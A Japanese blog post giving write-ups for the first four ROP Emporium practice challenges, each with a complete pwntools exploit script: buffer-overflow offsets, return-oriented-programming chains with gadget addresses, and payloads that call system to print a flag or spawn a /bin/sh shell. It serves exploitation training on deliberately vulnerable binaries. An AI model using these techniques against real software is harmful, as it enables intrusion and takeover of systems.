ACCE55_DE21ED

競プロとCTF

ROP Emporium埋め 前半

x86-64に全然慣れてないので、やります。

今回は前半の4問だけです。後半も直にやります。

環境 : Ubuntu 20.04 LTS

$ lsb_release -a
LSB Version:    core-11.1.0ubuntu2-noarch:printing-11.1.0ubuntu2-noarch:security-11.1.0ubuntu2-noarch
Distributor ID: Ubuntu
Description:    Ubuntu 20.04 LTS
Release:    20.04
Codename:   focal

1. ret2win

32bit

ただのバッファオーバーフローですね。

gdbでpattern_createからのpattoでリターンアドレスまでのoffset割り出して、ret2winに飛ばします。やるだけ。

from pwn import *

elf=ELF("./ret2win32")
p=process("./ret2win32")

payload=b"A"*44
payload+=p32(elf.symbols['ret2win'])
p.sendlineafter(b"\n\n> ",payload)
print(p.recvall())

64bit

方針は変わらないんですが、ret2winの先頭に飛ばすとレジスタの関係で落ちるので、1つ飛ばしたら実行できました。

from pwn import *
elf=ELF("./ret2win")
p=process("./ret2win")

payload=b"A"*40
payload+=p64(elf.symbols['ret2win']+1)
p.sendlineafter(b"\n\n> ",payload)
print(p.recvall())

2. split

32bit

objdumpしてみると、usefulFunctionの中でsystem(0x8048747)を呼んでいる事が分かります。

今回もバッファオーバーフローがあるので取り敢えずusefulFunctionに飛ばしてからgdbでattachすると、 0x8048747の中身は/bin/lsでした。カス!

FSBとかないのでそれを書き換えるのは無理、という事でnmコマンドで適当に探してみるとusefulStringが見つかります。

こちらの中身を見てみると.../bin/cat flag.txtです。世の中よくできてるなぁ(?)

後はpwnmeのリターンアドレスからROPして終わりです。

from pwn import *
elf=ELF("./split32")
p=process("./split32")

payload=b"A"*44
payload+=p32(elf.plt['system'])
payload+=b"AAAA"
payload+=p32(0x804a030) # useful String

p.sendlineafter(b"Contriving a reason to ask user for data...\n> ",payload)
print(p.recvall())

64bit

64bitの関数呼び出し、32bitと全然違うんですよね。

32bitだと素直にstackにポンポン入れられるんですが64bitだとrdi -> rsi -> rdx ...みたいな感じでレジスタに入れられていきます。

しかも、stack alignmentとかなんとかでROPの最初にret;挟まないと死ぬっていう 手間のかかる子です。

from pwn import *
elf=ELF("./split")
p=process("./split")

payload=b"A"*40
payload+=p64(0x004005b9) # ret;
payload+=p64(0x00400883) # pop rdi; ret;
payload+=p64(0x0000000000601060) # usefulString
payload+=p64(elf.plt['system'])

p.sendlineafter(b"Contriving a reason to ask user for data...\n> ",payload)
print(p.recvall())

3. callme

32bit

問題文にcallme_one(1,2,3),callme_two(1,2,3),callme_three(1,2,3)の順に呼べと書いてあるのでその通りにします。

from pwn import *
elf=ELF("./callme32")
p=process("./callme32")

payload=b"A"*44
payload+=p32(elf.plt['callme_one'])
payload+=p32(0x080488a9) # pop3ret
payload+=p32(0x00000001)
payload+=p32(0x00000002)
payload+=p32(0x00000003)
payload+=p32(elf.plt['callme_two'])
payload+=p32(0x080488a9)
payload+=p32(0x00000001)
payload+=p32(0x00000002)
payload+=p32(0x00000003)
payload+=p32(elf.plt['callme_three'])
payload+=p32(0x080488a9)
payload+=p32(0x00000001)
payload+=p32(0x00000002)
payload+=p32(0x00000003)

p.sendlineafter(b"Hope you read the instructions...\n> ",payload)
print(p.recvall())

64bit

最初にretを挟むのを忘れずに。

他の人のwrite-up見てみると、最初のret gadget挟んでないのに上手く行ってるんですよね...なんでだろ

from pwn import *
elf=ELF("./callme")
p=process("./callme")

pop3_gadget=0x00401ab0
ret_gadget=0x004017d9
payload=b"A"*40
payload+=p64(ret_gadget)
payload+=p64(pop3_gadget)
payload+=p64(0x1)
payload+=p64(0x2)
payload+=p64(0x3)
payload+=p64(elf.plt['callme_one'])
payload+=p64(pop3_gadget)
payload+=p64(0x1)
payload+=p64(0x2)
payload+=p64(0x3)
payload+=p64(elf.plt['callme_two'])
payload+=p64(pop3_gadget)
payload+=p64(0x1)
payload+=p64(0x2)
payload+=p64(0x3)
payload+=p64(elf.plt['callme_three'])

p.sendlineafter(b"Hope you read the instructions...\n> ",payload)
print(p.recvall()) 

4. write4

32bit

なんかbufferの値を/bin/sh\x00AAAA...とかにすればいいかな〜とか思ったんですが、変数名分からんしで諦めてwrite-upを見ました。

usefulGadgetsにmov DWORD PTR [edi],ebpがあるので、pop edi; pop ebp; ret;があったら任意の書き込み権限のあるアドレスに任意の値を書き込めるとからしいです。

肝心の書き込み権限のあるアドレスとしてはbssセクションが使えるので、そこに/bin/shを書き込んでsystemの引数でそれを呼べばシェルが起動するという感じです。

from pwn import *
elf=ELF("./write432")
p=process("./write432")

pop2_gadget=0x080486da
mov_edi_ebp=0x08048670
bss=elf.bss()

payload=b"A"*44
payload+=p32(pop2_gadget)
payload+=p32(bss)
payload+=b"/bin"
payload+=p32(mov_edi_ebp)
payload+=p32(pop2_gadget)
payload+=p32(bss+4)
payload+=b"/sh\x00"
payload+=p32(mov_edi_ebp)
payload+=p32(elf.plt['system'])
payload+=b"AAAA"
payload+=p32(bss)


p.sendlineafter(b"Go ahead and give me the string already!\n> ",payload)
p.interactive()

64bit

32bitのコードを64bit版にしただけです。/bin/sh\x00が8バイトで丁度良いですね〜

from pwn import *
elf=ELF("./write4")
p=process("./write4")

payload=b"A"*40
payload+=p64(0x004005b9) # ret;
payload+=p64(0x00400890) # pop r14;pop r15;ret;
payload+=p64(elf.bss())
payload+=b"/bin/sh\x00"
payload+=p64(0x00400820) # mov QWORD PTR [r14],r15
payload+=p64(0x00400893) # pop rdi;ret;
payload+=p64(elf.bss())
payload+=p64(elf.plt['system'])

p.sendlineafter(b"Go ahead and give me the string already!\n> ",payload)
p.interactive()